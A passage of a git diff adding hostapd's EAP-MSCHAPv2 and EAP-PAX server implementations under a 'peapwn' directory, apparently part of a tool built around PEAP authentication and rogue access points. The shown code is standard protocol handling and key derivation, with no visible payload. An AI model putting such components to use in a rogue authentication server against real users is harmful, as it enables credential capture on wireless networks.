+ wpabuf_put_data(req, data->auth_challenge, CHALLENGE_LEN); + else + wpabuf_put(req, CHALLENGE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-MSCHAPV2: Challenge", + data->auth_challenge, CHALLENGE_LEN); + wpabuf_put_data(req, sm->server_id, sm->server_id_len); + + return req; +} + + +static struct wpabuf * eap_mschapv2_build_success_req( + struct eap_sm *sm, struct eap_mschapv2_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_mschapv2_hdr *ms; + u8 *msg; + char *message = "OK"; + size_t ms_len; + + ms_len = sizeof(*ms) + 2 + 2 * sizeof(data->auth_response) + 1 + 2 + + os_strlen(message); + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Failed to allocate memory" + " for request"); + data->state = FAILURE; + return NULL; + } + + ms = wpabuf_put(req, sizeof(*ms)); + ms->op_code = MSCHAPV2_OP_SUCCESS; + ms->mschapv2_id = data->resp_mschapv2_id; + WPA_PUT_BE16(ms->ms_length, ms_len); + msg = (u8 *) (ms + 1); + + wpabuf_put_u8(req, 'S'); + wpabuf_put_u8(req, '='); + wpa_snprintf_hex_uppercase( + wpabuf_put(req, sizeof(data->auth_response) * 2), + sizeof(data->auth_response) * 2 + 1, + data->auth_response, sizeof(data->auth_response)); + wpabuf_put_u8(req, ' '); + wpabuf_put_u8(req, 'M'); + wpabuf_put_u8(req, '='); + wpabuf_put_data(req, message, os_strlen(message)); + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Success Request Message", + msg, ms_len - sizeof(*ms)); + + return req; +} + + +static struct wpabuf * eap_mschapv2_build_failure_req( + struct eap_sm *sm, struct eap_mschapv2_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_mschapv2_hdr *ms; + char *message = "E=691 R=0 C=00000000000000000000000000000000 V=3 " + "M=FAILED"; + size_t ms_len; + + ms_len = sizeof(*ms) + os_strlen(message); + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Failed to allocate memory" + " for request"); + data->state = FAILURE; + return NULL; + } + + ms = wpabuf_put(req, sizeof(*ms)); + ms->op_code = MSCHAPV2_OP_FAILURE; + ms->mschapv2_id = data->resp_mschapv2_id; + WPA_PUT_BE16(ms->ms_length, ms_len); + + wpabuf_put_data(req, message, os_strlen(message)); + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Failure Request Message", + (u8 *) message, os_strlen(message)); + + return req; +} + + +static struct wpabuf * eap_mschapv2_buildReq(struct eap_sm *sm, void *priv, + u8 id) +{ + struct eap_mschapv2_data *data = priv; + + switch (data->state) { + case CHALLENGE: + return eap_mschapv2_build_challenge(sm, data, id); + case SUCCESS_REQ: + return eap_mschapv2_build_success_req(sm, data, id); + case FAILURE_REQ: + return eap_mschapv2_build_failure_req(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Unknown state %d in " + "buildReq", data->state); + break; + } + return NULL; +} + + +static Boolean eap_mschapv2_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_mschapv2_data *data = priv; + struct eap_mschapv2_hdr *resp; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Invalid frame"); + return TRUE; + } + + resp = (struct eap_mschapv2_hdr *) pos; + if (data->state == CHALLENGE && + resp->op_code != MSCHAPV2_OP_RESPONSE) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Expected Response - " + "ignore op %d", resp->op_code); + return TRUE; + } + + if (data->state == SUCCESS_REQ && + resp->op_code != MSCHAPV2_OP_SUCCESS && + resp->op_code != MSCHAPV2_OP_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Expected Success or " + "Failure - ignore op %d", resp->op_code); + return TRUE; + } + + if (data->state == FAILURE_REQ && + resp->op_code != MSCHAPV2_OP_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Expected Failure " + "- ignore op %d", resp->op_code); + return TRUE; + } + + return FALSE; +} + + +static void eap_mschapv2_process_response(struct eap_sm *sm, + struct eap_mschapv2_data *data, + struct wpabuf *respData) +{ + struct eap_mschapv2_hdr *resp; + const u8 *pos, *end, *peer_challenge, *nt_response, *name; + u8 flags; + size_t len, name_len, i; + u8 expected[24]; + const u8 *username, *user; + size_t username_len, user_len; + int res; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); + if (pos == NULL || len < 1) + return; /* Should not happen - frame already validated */ + + end = pos + len; + resp = (struct eap_mschapv2_hdr *) pos; + pos = (u8 *) (resp + 1); + + if (len < sizeof(*resp) + 1 + 49 || + resp->op_code != MSCHAPV2_OP_RESPONSE || + pos[0] != 49) { + wpa_hexdump_buf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid response", + respData); + data->state = FAILURE; + return; + } + data->resp_mschapv2_id = resp->mschapv2_id; + pos++; + peer_challenge = pos; + pos += 16 + 8; + nt_response = pos; + pos += 24; + flags = *pos++; + name = pos; + name_len = end - name; + + if (data->peer_challenge) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Using pre-configured " + "Peer-Challenge"); + peer_challenge = data->peer_challenge; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-MSCHAPV2: Peer-Challenge", + peer_challenge, 16); + wpa_hexdump(MSG_MSGDUMP, "EAP-MSCHAPV2: NT-Response", nt_response, 24); + wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len); + + /* MSCHAPv2 does not include optional domain name in the + * challenge-response calculation, so remove domain prefix + * (if present). */ + username = sm->identity; + username_len = sm->identity_len; + for (i = 0; i < username_len; i++) { + if (username[i] == '\\') { + username_len -= i + 1; + username += i + 1; + break; + } + } + + user = name; + user_len = name_len; + for (i = 0; i < user_len; i++) { + if (user[i] == '\\') { + user_len -= i + 1; + user += i + 1; + break; + } + } + + if (username_len != user_len || + os_memcmp(username, user, username_len) != 0) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Mismatch in user names"); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: Expected user " + "name", username, username_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: Received user " + "name", user, user_len); + data->state = FAILURE; + return; + } + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: User name", + username, username_len); + + if (sm->user->password_hash) { + res = generate_nt_response_pwhash(data->auth_challenge, + peer_challenge, + username, username_len, + sm->user->password, + expected); + } else { + res = generate_nt_response(data->auth_challenge, + peer_challenge, + username, username_len, + sm->user->password, + sm->user->password_len, + expected); + } + if (res) { + data->state = FAILURE; + return; + } + + if (os_memcmp(nt_response, expected, 24) == 0) { + const u8 *pw_hash; + u8 pw_hash_buf[16], pw_hash_hash[16]; + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Correct NT-Response"); + data->state = SUCCESS_REQ; + + /* Authenticator response is not really needed yet, but + * calculate it here so that peer_challenge and username need + * not be saved. */ + if (sm->user->password_hash) { + pw_hash = sm->user->password; + } else { + if (nt_password_hash(sm->user->password, + sm->user->password_len, + pw_hash_buf) < 0) { + data->state = FAILURE; + return; + } + pw_hash = pw_hash_buf; + } + generate_authenticator_response_pwhash( + pw_hash, peer_challenge, data->auth_challenge, + username, username_len, nt_response, + data->auth_response); + + hash_nt_password_hash(pw_hash, pw_hash_hash); + get_master_key(pw_hash_hash, nt_response, data->master_key); + data->master_key_valid = 1; + wpa_hexdump_key(MSG_DEBUG, "EAP-MSCHAPV2: Derived Master Key", + data->master_key, MSCHAPV2_KEY_LEN); + } else { + wpa_hexdump(MSG_MSGDUMP, "EAP-MSCHAPV2: Expected NT-Response", + expected, 24); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response"); + data->state = FAILURE_REQ; + } +} + + +static void eap_mschapv2_process_success_resp(struct eap_sm *sm, + struct eap_mschapv2_data *data, + struct wpabuf *respData) +{ + struct eap_mschapv2_hdr *resp; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); + if (pos == NULL || len < 1) + return; /* Should not happen - frame already validated */ + + resp = (struct eap_mschapv2_hdr *) pos; + + if (resp->op_code == MSCHAPV2_OP_SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Received Success Response" + " - authentication completed successfully"); + data->state = SUCCESS; + } else { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Did not receive Success " + "Response - peer rejected authentication"); + data->state = FAILURE; + } +} + + +static void eap_mschapv2_process_failure_resp(struct eap_sm *sm, + struct eap_mschapv2_data *data, + struct wpabuf *respData) +{ + struct eap_mschapv2_hdr *resp; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, + &len); + if (pos == NULL || len < 1) + return; /* Should not happen - frame already validated */ + + resp = (struct eap_mschapv2_hdr *) pos; + + if (resp->op_code == MSCHAPV2_OP_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Received Failure Response" + " - authentication failed"); + } else { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Did not receive Failure " + "Response - authentication failed"); + } + + data->state = FAILURE; +} + + +static void eap_mschapv2_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_mschapv2_data *data = priv; + + if (sm->user == NULL || sm->user->password == NULL) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Password not configured"); + data->state = FAILURE; + return; + } + + switch (data->state) { + case CHALLENGE: + eap_mschapv2_process_response(sm, data, respData); + break; + case SUCCESS_REQ: + eap_mschapv2_process_success_resp(sm, data, respData); + break; + case FAILURE_REQ: + eap_mschapv2_process_failure_resp(sm, data, respData); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Unknown state %d in " + "process", data->state); + break; + } +} + + +static Boolean eap_mschapv2_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_mschapv2_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_mschapv2_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_mschapv2_data *data = priv; + u8 *key; + + if (data->state != SUCCESS || !data->master_key_valid) + return NULL; + + *len = 2 * MSCHAPV2_KEY_LEN; + key = os_malloc(*len); + if (key == NULL) + return NULL; + /* MSK = server MS-MPPE-Recv-Key | MS-MPPE-Send-Key */ + get_asymetric_start_key(data->master_key, key, MSCHAPV2_KEY_LEN, 0, 1); + get_asymetric_start_key(data->master_key, key + MSCHAPV2_KEY_LEN, + MSCHAPV2_KEY_LEN, 1, 1); + wpa_hexdump_key(MSG_DEBUG, "EAP-MSCHAPV2: Derived key", key, *len); + + return key; +} + + +static Boolean eap_mschapv2_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_mschapv2_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_mschapv2_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, + "MSCHAPV2"); + if (eap == NULL) + return -1; + + eap->init = eap_mschapv2_init; + eap->reset = eap_mschapv2_reset; + eap->buildReq = eap_mschapv2_buildReq; + eap->check = eap_mschapv2_check; + eap->process = eap_mschapv2_process; + eap->isDone = eap_mschapv2_isDone; + eap->getKey = eap_mschapv2_getKey; + eap->isSuccess = eap_mschapv2_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_pax.c b/peapwn/mods/hostap/src/eap_server/eap_server_pax.c new file mode 100644 index 000000000..35a42ad10 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_pax.c @@ -0,0 +1,564 @@ +/* + * hostapd / EAP-PAX (RFC 4746) server + * Copyright (c) 2005-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_pax_common.h" + +/* + * Note: only PAX_STD subprotocol is currently supported + * + * TODO: Add support with PAX_SEC with the mandatory to implement ciphersuite + * (HMAC_SHA1_128, IANA DH Group 14 (2048 bits), RSA-PKCS1-V1_5) and + * recommended ciphersuite (HMAC_SHA256_128, IANA DH Group 15 (3072 bits), + * RSAES-OAEP). + */ + +struct eap_pax_data { + enum { PAX_STD_1, PAX_STD_3, SUCCESS, FAILURE } state; + u8 mac_id; + union { + u8 e[2 * EAP_PAX_RAND_LEN]; + struct { + u8 x[EAP_PAX_RAND_LEN]; /* server rand */ + u8 y[EAP_PAX_RAND_LEN]; /* client rand */ + } r; + } rand; + u8 ak[EAP_PAX_AK_LEN]; + u8 mk[EAP_PAX_MK_LEN]; + u8 ck[EAP_PAX_CK_LEN]; + u8 ick[EAP_PAX_ICK_LEN]; + int keys_set; + char *cid; + size_t cid_len; +}; + + +static void * eap_pax_init(struct eap_sm *sm) +{ + struct eap_pax_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = PAX_STD_1; + /* + * TODO: make this configurable once EAP_PAX_HMAC_SHA256_128 is + * supported + */ + data->mac_id = EAP_PAX_MAC_HMAC_SHA1_128; + + return data; +} + + +static void eap_pax_reset(struct eap_sm *sm, void *priv) +{ + struct eap_pax_data *data = priv; + os_free(data->cid); + os_free(data); +} + + +static struct wpabuf * eap_pax_build_std_1(struct eap_sm *sm, + struct eap_pax_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_pax_hdr *pax; + u8 *pos; + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX_STD-1 (sending)"); + + if (random_get_bytes(data->rand.r.x, EAP_PAX_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-PAX: Failed to get random data"); + data->state = FAILURE; + return NULL; + } + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PAX, + sizeof(*pax) + 2 + EAP_PAX_RAND_LEN + + EAP_PAX_ICV_LEN, EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-PAX: Failed to allocate memory " + "request"); + data->state = FAILURE; + return NULL; + } + + pax = wpabuf_put(req, sizeof(*pax)); + pax->op_code = EAP_PAX_OP_STD_1; + pax->flags = 0; + pax->mac_id = data->mac_id; + pax->dh_group_id = EAP_PAX_DH_GROUP_NONE; + pax->public_key_id = EAP_PAX_PUBLIC_KEY_NONE; + + wpabuf_put_be16(req, EAP_PAX_RAND_LEN); + wpabuf_put_data(req, data->rand.r.x, EAP_PAX_RAND_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: A = X (server rand)", + data->rand.r.x, EAP_PAX_RAND_LEN); + + pos = wpabuf_put(req, EAP_PAX_MAC_LEN); + eap_pax_mac(data->mac_id, (u8 *) "", 0, + wpabuf_mhead(req), wpabuf_len(req) - EAP_PAX_ICV_LEN, + NULL, 0, NULL, 0, pos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", pos, EAP_PAX_ICV_LEN); + + return req; +} + + +static struct wpabuf * eap_pax_build_std_3(struct eap_sm *sm, + struct eap_pax_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_pax_hdr *pax; + u8 *pos; + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX_STD-3 (sending)"); + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PAX, + sizeof(*pax) + 2 + EAP_PAX_MAC_LEN + + EAP_PAX_ICV_LEN, EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-PAX: Failed to allocate memory " + "request"); + data->state = FAILURE; + return NULL; + } + + pax = wpabuf_put(req, sizeof(*pax)); + pax->op_code = EAP_PAX_OP_STD_3; + pax->flags = 0; + pax->mac_id = data->mac_id; + pax->dh_group_id = EAP_PAX_DH_GROUP_NONE; + pax->public_key_id = EAP_PAX_PUBLIC_KEY_NONE; + + wpabuf_put_be16(req, EAP_PAX_MAC_LEN); + pos = wpabuf_put(req, EAP_PAX_MAC_LEN); + eap_pax_mac(data->mac_id, data->ck, EAP_PAX_CK_LEN, + data->rand.r.y, EAP_PAX_RAND_LEN, + (u8 *) data->cid, data->cid_len, NULL, 0, pos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: MAC_CK(B, CID)", + pos, EAP_PAX_MAC_LEN); + pos += EAP_PAX_MAC_LEN; + + /* Optional ADE could be added here, if needed */ + + pos = wpabuf_put(req, EAP_PAX_MAC_LEN); + eap_pax_mac(data->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_mhead(req), wpabuf_len(req) - EAP_PAX_ICV_LEN, + NULL, 0, NULL, 0, pos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", pos, EAP_PAX_ICV_LEN); + + return req; +} + + +static struct wpabuf * eap_pax_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_pax_data *data = priv; + + switch (data->state) { + case PAX_STD_1: + return eap_pax_build_std_1(sm, data, id); + case PAX_STD_3: + return eap_pax_build_std_3(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-PAX: Unknown state %d in buildReq", + data->state); + break; + } + return NULL; +} + + +static Boolean eap_pax_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_pax_data *data = priv; + struct eap_pax_hdr *resp; + const u8 *pos; + size_t len, mlen; + u8 icvbuf[EAP_PAX_ICV_LEN], *icv; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PAX, respData, &len); + if (pos == NULL || len < sizeof(*resp)) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid frame"); + return TRUE; + } + + mlen = sizeof(struct eap_hdr) + 1 + len; + resp = (struct eap_pax_hdr *) pos; + + wpa_printf(MSG_DEBUG, "EAP-PAX: received frame: op_code 0x%x " + "flags 0x%x mac_id 0x%x dh_group_id 0x%x " + "public_key_id 0x%x", + resp->op_code, resp->flags, resp->mac_id, resp->dh_group_id, + resp->public_key_id); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: received payload", + (u8 *) (resp + 1), len - sizeof(*resp) - EAP_PAX_ICV_LEN); + + if (data->state == PAX_STD_1 && + resp->op_code != EAP_PAX_OP_STD_2) { + wpa_printf(MSG_DEBUG, "EAP-PAX: Expected PAX_STD-2 - " + "ignore op %d", resp->op_code); + return TRUE; + } + + if (data->state == PAX_STD_3 && + resp->op_code != EAP_PAX_OP_ACK) { + wpa_printf(MSG_DEBUG, "EAP-PAX: Expected PAX-ACK - " + "ignore op %d", resp->op_code); + return TRUE; + } + + if (resp->op_code != EAP_PAX_OP_STD_2 && + resp->op_code != EAP_PAX_OP_ACK) { + wpa_printf(MSG_DEBUG, "EAP-PAX: Unknown op_code 0x%x", + resp->op_code); + } + + if (data->mac_id != resp->mac_id) { + wpa_printf(MSG_DEBUG, "EAP-PAX: Expected MAC ID 0x%x, " + "received 0x%x", data->mac_id, resp->mac_id); + return TRUE; + } + + if (resp->dh_group_id != EAP_PAX_DH_GROUP_NONE) { + wpa_printf(MSG_INFO, "EAP-PAX: Expected DH Group ID 0x%x, " + "received 0x%x", EAP_PAX_DH_GROUP_NONE, + resp->dh_group_id); + return TRUE; + } + + if (resp->public_key_id != EAP_PAX_PUBLIC_KEY_NONE) { + wpa_printf(MSG_INFO, "EAP-PAX: Expected Public Key ID 0x%x, " + "received 0x%x", EAP_PAX_PUBLIC_KEY_NONE, + resp->public_key_id); + return TRUE; + } + + if (resp->flags & EAP_PAX_FLAGS_MF) { + /* TODO: add support for reassembling fragments */ + wpa_printf(MSG_INFO, "EAP-PAX: fragmentation not supported"); + return TRUE; + } + + if (resp->flags & EAP_PAX_FLAGS_CE) { + wpa_printf(MSG_INFO, "EAP-PAX: Unexpected CE flag"); + return TRUE; + } + + if (data->keys_set) { + if (len - sizeof(*resp) < EAP_PAX_ICV_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: No ICV in the packet"); + return TRUE; + } + icv = wpabuf_mhead_u8(respData) + mlen - EAP_PAX_ICV_LEN; + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", icv, EAP_PAX_ICV_LEN); + eap_pax_mac(data->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_mhead(respData), + wpabuf_len(respData) - EAP_PAX_ICV_LEN, + NULL, 0, NULL, 0, icvbuf); + if (os_memcmp(icvbuf, icv, EAP_PAX_ICV_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid ICV"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: Expected ICV", + icvbuf, EAP_PAX_ICV_LEN); + return TRUE; + } + } + + return FALSE; +} + + +static void eap_pax_process_std_2(struct eap_sm *sm, + struct eap_pax_data *data, + struct wpabuf *respData) +{ + struct eap_pax_hdr *resp; + u8 mac[EAP_PAX_MAC_LEN], icvbuf[EAP_PAX_ICV_LEN]; + const u8 *pos; + size_t len, left; + int i; + + if (data->state != PAX_STD_1) + return; + + wpa_printf(MSG_DEBUG, "EAP-PAX: Received PAX_STD-2"); + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PAX, respData, &len); + if (pos == NULL || len < sizeof(*resp) + EAP_PAX_ICV_LEN) + return; + + resp = (struct eap_pax_hdr *) pos; + pos = (u8 *) (resp + 1); + left = len - sizeof(*resp); + + if (left < 2 + EAP_PAX_RAND_LEN || + WPA_GET_BE16(pos) != EAP_PAX_RAND_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: Too short PAX_STD-2 (B)"); + return; + } + pos += 2; + left -= 2; + os_memcpy(data->rand.r.y, pos, EAP_PAX_RAND_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: Y (client rand)", + data->rand.r.y, EAP_PAX_RAND_LEN); + pos += EAP_PAX_RAND_LEN; + left -= EAP_PAX_RAND_LEN; + + if (left < 2 || (size_t) 2 + WPA_GET_BE16(pos) > left) { + wpa_printf(MSG_INFO, "EAP-PAX: Too short PAX_STD-2 (CID)"); + return; + } + data->cid_len = WPA_GET_BE16(pos); + os_free(data->cid); + data->cid = os_malloc(data->cid_len); + if (data->cid == NULL) { + wpa_printf(MSG_INFO, "EAP-PAX: Failed to allocate memory for " + "CID"); + return; + } + os_memcpy(data->cid, pos + 2, data->cid_len); + pos += 2 + data->cid_len; + left -= 2 + data->cid_len; + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-PAX: CID", + (u8 *) data->cid, data->cid_len); + + if (left < 2 + EAP_PAX_MAC_LEN || + WPA_GET_BE16(pos) != EAP_PAX_MAC_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: Too short PAX_STD-2 (MAC_CK)"); + return; + } + pos += 2; + left -= 2; + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: MAC_CK(A, B, CID)", + pos, EAP_PAX_MAC_LEN); + + if (eap_user_get(sm, (u8 *) data->cid, data->cid_len, 0) < 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PAX: unknown CID", + (u8 *) data->cid, data->cid_len); + data->state = FAILURE; + return; + } + + for (i = 0; + i < EAP_MAX_METHODS && + (sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_NONE); + i++) { + if (sm->user->methods[i].vendor == EAP_VENDOR_IETF && + sm->user->methods[i].method == EAP_TYPE_PAX) + break; + } + + if (i >= EAP_MAX_METHODS || + sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_PAX) { + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-PAX: EAP-PAX not enabled for CID", + (u8 *) data->cid, data->cid_len); + data->state = FAILURE; + return; + } + + if (sm->user->password == NULL || + sm->user->password_len != EAP_PAX_AK_LEN) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PAX: invalid password in " + "user database for CID", + (u8 *) data->cid, data->cid_len); + data->state = FAILURE; + return; + } + os_memcpy(data->ak, sm->user->password, EAP_PAX_AK_LEN); + + if (eap_pax_initial_key_derivation(data->mac_id, data->ak, + data->rand.e, data->mk, data->ck, + data->ick) < 0) { + wpa_printf(MSG_INFO, "EAP-PAX: Failed to complete initial " + "key derivation"); + data->state = FAILURE; + return; + } + data->keys_set = 1; + + eap_pax_mac(data->mac_id, data->ck, EAP_PAX_CK_LEN, + data->rand.r.x, EAP_PAX_RAND_LEN, + data->rand.r.y, EAP_PAX_RAND_LEN, + (u8 *) data->cid, data->cid_len, mac); + if (os_memcmp(mac, pos, EAP_PAX_MAC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid MAC_CK(A, B, CID) in " + "PAX_STD-2"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: Expected MAC_CK(A, B, CID)", + mac, EAP_PAX_MAC_LEN); + data->state = FAILURE; + return; + } + + pos += EAP_PAX_MAC_LEN; + left -= EAP_PAX_MAC_LEN; + + if (left < EAP_PAX_ICV_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: Too short ICV (%lu) in " + "PAX_STD-2", (unsigned long) left); + return; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", pos, EAP_PAX_ICV_LEN); + eap_pax_mac(data->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_head(respData), + wpabuf_len(respData) - EAP_PAX_ICV_LEN, NULL, 0, NULL, 0, + icvbuf); + if (os_memcmp(icvbuf, pos, EAP_PAX_ICV_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid ICV in PAX_STD-2"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: Expected ICV", + icvbuf, EAP_PAX_ICV_LEN); + return; + } + pos += EAP_PAX_ICV_LEN; + left -= EAP_PAX_ICV_LEN; + + if (left > 0) { + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ignored extra payload", + pos, left); + } + + data->state = PAX_STD_3; +} + + +static void eap_pax_process_ack(struct eap_sm *sm, + struct eap_pax_data *data, + struct wpabuf *respData) +{ + if (data->state != PAX_STD_3) + return; + + wpa_printf(MSG_DEBUG, "EAP-PAX: Received PAX-ACK - authentication " + "completed successfully"); + data->state = SUCCESS; +} + + +static void eap_pax_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_pax_data *data = priv; + struct eap_pax_hdr *resp; + const u8 *pos; + size_t len; + + if (sm->user == NULL || sm->user->password == NULL) { + wpa_printf(MSG_INFO, "EAP-PAX: Plaintext password not " + "configured"); + data->state = FAILURE; + return; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PAX, respData, &len); + if (pos == NULL || len < sizeof(*resp)) + return; + + resp = (struct eap_pax_hdr *) pos; + + switch (resp->op_code) { + case EAP_PAX_OP_STD_2: + eap_pax_process_std_2(sm, data, respData); + break; + case EAP_PAX_OP_ACK: + eap_pax_process_ack(sm, data, respData); + break; + } +} + + +static Boolean eap_pax_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_pax_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_pax_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pax_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_MSK_LEN; + eap_pax_kdf(data->mac_id, data->mk, EAP_PAX_MK_LEN, + "Master Session Key", data->rand.e, 2 * EAP_PAX_RAND_LEN, + EAP_MSK_LEN, key); + + return key; +} + + +static u8 * eap_pax_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pax_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + eap_pax_kdf(data->mac_id, data->mk, EAP_PAX_MK_LEN, + "Extended Master Session Key", + data->rand.e, 2 * EAP_PAX_RAND_LEN, + EAP_EMSK_LEN, key); + + return key; +} + + +static Boolean eap_pax_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_pax_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_pax_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PAX, "PAX"); + if (eap == NULL) + return -1; + + eap->init = eap_pax_init; + eap->reset = eap_pax_reset; + eap->buildReq = eap_pax_buildReq; + eap->check = eap_pax_check; + eap->process = eap_pax_process; + eap->isDone = eap_pax_isDone; + eap->getKey = eap_pax_getKey; + eap->isSuccess = eap_pax_isSuccess; + eap->get_emsk = eap_pax_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git 